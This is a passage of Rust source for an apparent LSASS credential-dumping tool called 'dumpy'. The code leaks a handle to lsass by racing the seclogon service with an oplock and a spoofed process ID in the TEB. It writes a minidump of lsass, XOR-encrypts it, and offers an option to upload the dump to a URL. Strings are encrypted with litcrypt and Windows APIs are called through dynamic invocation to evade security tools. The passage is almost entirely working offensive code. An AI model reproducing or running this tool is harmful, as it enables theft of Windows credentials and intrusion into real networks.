472 | let _r = dinvoke::close_handle(transaction_handle).unwrap();
473 |
474 | return;
475 | }
476 | else
477 | {
478 | println!("{}", &lc!("[x] Call to MiniDumpWriteDump failed."));
479 | let error = dinvoke::get_last_error();
480 | println!("[x] Error: {error}");
481 | let _r = dinvoke::close_handle(transacted_file_handle).unwrap();
482 | let _r = dinvoke::close_handle(transaction_handle).unwrap();
483 | }
484 | }
485 | }
486 |
487 | let _r = dinvoke::close_handle(*dup_handle).unwrap();
488 | }
489 |
490 | let _r = dinvoke::close_handle(handle).unwrap();
491 | }
492 |
493 | shtei = shtei.add(1);
494 |
495 | }
496 |
497 | println!("{}", &lc!("[x] Could not retrieve a valid handle. Exiting."));
498 |
499 | }
500 | }
501 |
502 | pub fn force_leakage()
503 | {
504 | unsafe
505 | {
506 | let mut file: Vec = lc!("c:\\Windows\\System32\\license.rtf").encode_utf16().collect();
507 | file.push(0);
508 |
509 | let k32 = dinvoke::get_module_base_address(&lc!("kernel32.dll"));
510 | let create_file: data::CreateFile;
511 | let create_file_r: Option;
512 | // 3 = OPEN_EXISTING
513 | // 0x40000000 = FILE_FLAG_OVERLAPPED
514 | dinvoke::dynamic_invoke!(k32,&lc!("CreateFileW"),create_file,create_file_r,file.as_ptr() as *const u16,GENERIC_READ,0,ptr::null(),3,0x40000000,HANDLE {0: 0});
515 |
516 | let file_handle = create_file_r.unwrap();
517 |
518 | let mut overlapped: OVERLAPPED = OVERLAPPED::default();
519 | let create_event: data::CreateEvent;
520 | let create_event_r: Option;
521 | dinvoke::dynamic_invoke!(k32,&lc!("CreateEventW"),create_event,create_event_r,ptr::null(),false,false,ptr::null());
522 |
523 | overlapped.event_handle = create_event_r.unwrap();
524 |
525 | let mut input_buffer = REQUEST_OPLOCK_INPUT_BUFFER::default();
526 | let mut output_buffer = REQUEST_OPLOCK_OUTPUT_BUFFER::default();
527 | input_buffer.structure_version = 1; // REQUEST_OPLOCK_CURRENT_VERSION
528 | input_buffer.structure_length = size_of::() as u16;
529 | input_buffer.requested_oplock_level = 0x00000001 | 0x00000002; // OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE
530 | input_buffer.flags = 0x00000001; // REQUEST_OPLOCK_INPUT_FLAG_REQUEST
531 | output_buffer.structure_version = 1;
532 | output_buffer.structure_length = size_of::() as u16;
533 | let input: PVOID = std::mem::transmute(&input_buffer);
534 | let output: PVOID = std::mem::transmute(&output_buffer);
535 | let over: *mut OVERLAPPED = std::mem::transmute(&overlapped);
536 | let unsued = 0u32;
537 | let bytes_ret: *mut u32 = std::mem::transmute(&unsued);
538 | let device_oi_control: data::DeviceIoControl;
539 | let _r: Option;
540 | let fsctl_request_oplockc = ((0x00000009)<<16) | ((0) <<14) | ((144)<<2) | (0);
541 | dinvoke::dynamic_invoke!(k32,&lc!("DeviceIoControl"),device_oi_control,_r,file_handle,fsctl_request_oplockc,input,size_of::() as u32,
542 | output, size_of::() as u32, bytes_ret, over);
543 |
544 |
545 | let get_last_error: unsafe extern "system" fn () -> u32;
546 | let get_last_error_r: Option;
547 | dinvoke::dynamic_invoke!(k32,&lc!("GetLastError"),get_last_error,get_last_error_r,);
548 | // 997 = ERROR_IO_PENDING
549 | if get_last_error_r.unwrap() != 997
550 | {
551 | println!("{}",&lc!("[x] Handle leakage failed."));
552 | return;
553 | }
554 |
555 | thread::spawn(||
556 | {
557 | let tbi: *mut THREAD_BASIC_INFORMATION;
558 | let mut ptr: PVOID;
559 | let mut buffer;
560 | let mut bytes = 48u32;
561 | let mut c = 0;
562 |
563 | loop
564 | {
565 | buffer = vec![0u8; bytes as usize];
566 | ptr = std::mem::transmute(buffer.as_ptr());
567 | let re = 0u32;
568 | let bytes_ptr: *mut u32 = std::mem::transmute(&re);
569 | // Get current thread's basic information
570 | let x = dinvoke::nt_query_information_thread(GetCurrentThread(), 0,ptr,bytes,bytes_ptr);
571 |
572 | if x != 0
573 | {
574 | bytes = *bytes_ptr;
575 | }
576 | else
577 | {
578 | tbi = std::mem::transmute(ptr);
579 | break;
580 | }
581 |
582 | c = c + 1;
583 |
584 | if c > 20
585 | {
586 | println!("{}", &lc!("[x] Timeout. Call to NtQueryInformationThread failed."));
587 | }
588 | }
589 |
590 | let teb: *mut ntapi::ntpebteb::TEB = std::mem::transmute((*tbi).teb_base_address);
591 | let spoofed_pid = get_pid_from_image_path(&lc!("C:\\Windows\\system32\\lsass.exe")) as isize;
592 | let dst_ptr: *mut CLIENT_ID = std::mem::transmute(&(*teb).ClientId);
593 | let spoofed_pid = CLIENT_ID {UniqueProcess:HANDLE {0: spoofed_pid}, UniqueThread: (*tbi).client_id.UniqueThread};
594 | let src_ptr: *mut CLIENT_ID = std::mem::transmute(&spoofed_pid);
595 |
596 | // TEB pid spoofing
597 | std::ptr::copy_nonoverlapping(src_ptr, dst_ptr, 1);
598 |
599 | let adv = dinvoke::get_module_base_address(&lc!("advapi32.dll"));
600 | let create_process_with_logon: data::CreateProcessWithLogon;
601 | let _create_process_with_logon_r: Option;
602 | let mut username: Vec = lc!("username").encode_utf16().collect();
603 | username.push(0);
604 | let mut domain: Vec = lc!("domain").encode_utf16().collect();
605 | domain.push(0);
606 | let mut pass: Vec = lc!("password").encode_utf16().collect();
607 | pass.push(0);
608 | let mut file: Vec = lc!("c:\\Windows\\System32\\license.rtf").encode_utf16().collect();
609 | file.push(0);
610 | let startup = vec![0u8;size_of::()];
611 | let startupinfo: *const STARTUPINFOW = std::mem::transmute(startup.as_ptr());
612 | let p = PROCESS_INFORMATION::default();
613 | let process_information: *mut PROCESS_INFORMATION = std::mem::transmute(&p);
614 |
615 | // 0x00000002 = LOGON_NETCREDENTIALS_ONLY
616 | dinvoke::dynamic_invoke!(adv,&lc!("CreateProcessWithLogonW"),create_process_with_logon,_create_process_with_logon_r,username.as_ptr() as *const u16,
617 | domain.as_ptr() as *const u16, pass.as_ptr() as *const u16,0x00000002,ptr::null(),file.as_ptr() as *mut u16,0,
618 | ptr::null(),ptr::null(),startupinfo,process_information);
619 |
620 | });
621 |
622 | let d = u32::default();
623 | let dw_bytes: *mut u32 = std::mem::transmute(&d);
624 | let get_overlapped_result: data::GetOverlappedResult;
625 | let get_overlapped_result_r: Option;
626 | dinvoke::dynamic_invoke!(k32,&lc!("GetOverlappedResult"),get_overlapped_result,get_overlapped_result_r,file_handle,over,dw_bytes,true);
627 | if !get_overlapped_result_r.unwrap().as_bool()
628 | {
629 | println!("{}", &lc!("[x] Something went wrong."));
630 | return;
631 | }
632 | else
633 | {
634 | println!("{}", &lc!("[+] Handle to lsass leaked."));
635 | }
636 | }
637 | }
638 |
639 | pub fn get_pid_from_image_path(path: &str) -> usize
640 | {
641 | unsafe
642 | {
643 | let mut file: Vec = path.encode_utf16().collect();
644 | file.push(0);
645 | let k32 = dinvoke::get_module_base_address(&lc!("kernel32.dll"));
646 | let create_file: data::CreateFile;
647 | let create_file_r: Option;
648 | // 0x80 = FILE_READ_ATTRIBUTES
649 | // 3 = OPEN_EXISTING
650 | // 0x00000001|0x00000002|0x00000004 = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE
651 | dinvoke::dynamic_invoke!(k32,&lc!("CreateFileW"),create_file,create_file_r,file.as_ptr() as *const u16,0x80,0x00000001|0x00000002|0x00000004,ptr::null(),
652 | 3,0,HANDLE {0: 0});
653 |
654 | let file_handle = create_file_r.unwrap();
655 |
656 | let fpi: *mut FILE_PROCESS_IDS_USING_FILE_INFORMATION;
657 | let ios: Vec = vec![0u8; size_of::()];
658 | let iosb: *mut IO_STATUS_BLOCK = std::mem::transmute(&ios);
659 | let mut ptr: PVOID;
660 | let mut buffer;
661 | let mut bytes = size_of::() as u32;
662 | let mut c = 0;
663 |
664 | loop
665 | {
666 | buffer = vec![0u8; bytes as usize];
667 | ptr = std::mem::transmute(buffer.as_ptr());
668 | // 47 = FileProcessIdsUsingFileInformation
669 | let x = dinvoke::nt_query_information_file(file_handle, iosb,ptr,bytes,47);
670 |
671 | if x != 0
672 | {
673 | bytes *= 2;
674 | }
675 | else
676 | {
677 | fpi = std::mem::transmute(ptr);
678 | let _r = dinvoke::close_handle(file_handle);
679 | // Access denied error pops if this pointer is not liberated.
680 | (*iosb).Anonymous.Pointer = ptr::null_mut();
681 | return (*fpi).process_id_list[0];
682 | }
683 |
684 | c = c + 1;
685 |
686 | if c > 20
687 | {
688 | println!("{}", &lc!("[x] Timeout. Call to NtQueryInformationFile failed."));
689 | break;
690 | }
691 | }
692 |
693 | let _r = dinvoke::close_handle(file_handle);
694 |
695 | 0
696 | }
697 | }
698 |
699 | pub fn decrypt (file_path: &str, key: &str, output_file: &str)
700 | {
701 | unsafe{
702 |
703 | let mut file = File::open(file_path).expect("[x] Error opening input file.");
704 | let metadata = fs::metadata(file_path).unwrap();
705 | let mut buffer = vec![];
706 | file.read_to_end(&mut buffer).unwrap();
707 |
708 |
709 | let mut buffer_ptr = buffer.as_ptr().add(1);
710 | let key = format!("{}{}", key, "\0");
711 | let mut key_ptr = key.as_ptr();
712 | let mut xor_key: u8 = *key_ptr;
713 | key_ptr = key_ptr.add(1);
714 | while *key_ptr != '\0' as u8
715 | {
716 | xor_key = xor_key ^ *key_ptr;
717 | key_ptr = key_ptr.add(1);
718 | }
719 |
720 | let mut file_content: Vec = vec![];
721 | for _i in 0..metadata.len()
722 | {
723 | file_content.push(*buffer_ptr ^ xor_key);
724 | buffer_ptr = buffer_ptr.add(1);
725 | }
726 |
727 | let mut output = std::fs::File::create(output_file).unwrap();
728 | let _r = output.write_all(&file_content).unwrap();
729 | }
730 |
731 | println!("{}", &lc!("[+] Successfully decrypted minidump file."))
732 |
733 | }
734 |
--------------------------------------------------------------------------------
/dumpy/src/main.rs:
--------------------------------------------------------------------------------
1 | #[macro_use]
2 | extern crate litcrypt2;
3 | use_litcrypt!();
4 |
5 | extern crate getopts;
6 | use std::{env};
7 | use getopts::Options;
8 |
9 | fn main() {
10 |
11 | start();
12 | }
13 |
14 | fn print_usage(program: &str, opts: Options) {
15 | let brief = format!("Usage: {} --dump|--decrypt [options]", program);
16 | print!("{}", opts.usage(&brief));
17 | }
18 |
19 | fn start() {
20 |
21 | let mut force = false;
22 | let mut upload = "".to_string();
23 | let mut key = lc!("1234abcd");
24 | let mut output = lc!("c:\\temp\\output.txt");
25 | let mut input = lc!("c:\\temp\\input.txt");
26 |
27 | let args: Vec = env::args().collect();
28 | let program = args[0].clone();
29 | let mut opts = Options::new();
30 | opts.optflag("h", "help", "Print this help menu.");
31 | opts.optflag("", "dump", "Dump lsass.");
32 | opts.optflag("", "decrypt", "Decrypt a previously generated dump file.");
33 | opts.optflag("f", "force", "Force seclogon's service to leak a lsass handle through a race condition.");
34 | opts.optopt("k", "key", "Encryption key [default: 1234abcd]", "");
35 | opts.optopt("i", "input", r"Encrypted dump file [default: c:\temp\input.txt]", "");
36 | opts.optopt("o", "output", r"Destination path [default: c:\temp\output.txt]", "");
37 | opts.optopt("u", "upload", "Upload URL", "");
38 |
39 |
40 | let matches = match opts.parse(&args[1..]) {
41 | Ok(m) => { m }
42 | Err(_) => {print!("{}",lc!("[x] Invalid arguments. Use -h for detailed help.")); return; }
43 | };
44 |
45 | if matches.opt_present("h") {
46 | print_usage(&program, opts);
47 | return;
48 | }
49 |
50 | if matches.opt_present(&lc!("dump"))
51 | {
52 |
53 | if matches.opt_present("u")
54 | {
55 | upload = matches.opt_str("u").unwrap();
56 | }
57 | if matches.opt_present("f")
58 | {
59 | force = true;
60 | }
61 | if matches.opt_present("k")
62 | {
63 | key = matches.opt_str("k").unwrap();
64 | }
65 |
66 | dumper::dump(&key, &upload, force);
67 |
68 | }
69 | else if matches.opt_present(&lc!("decrypt"))
70 | {
71 |
72 | if matches.opt_present("i")
73 | {
74 | input = matches.opt_str("i").unwrap();
75 |
76 | }
77 | if matches.opt_present("o")
78 | {
79 | output = matches.opt_str("o").unwrap();
80 | }
81 | if matches.opt_present("k")
82 | {
83 | key = matches.opt_str("k").unwrap();
84 | }
85 |
86 | dumper::decrypt(&input, &key, &output);
87 |
88 | }
89 | else
90 | {
91 | print!("{}",lc!("[x] Invalid arguments. Use -h for detailed help."));
92 | }
93 |
94 | }
95 |
--------------------------------------------------------------------------------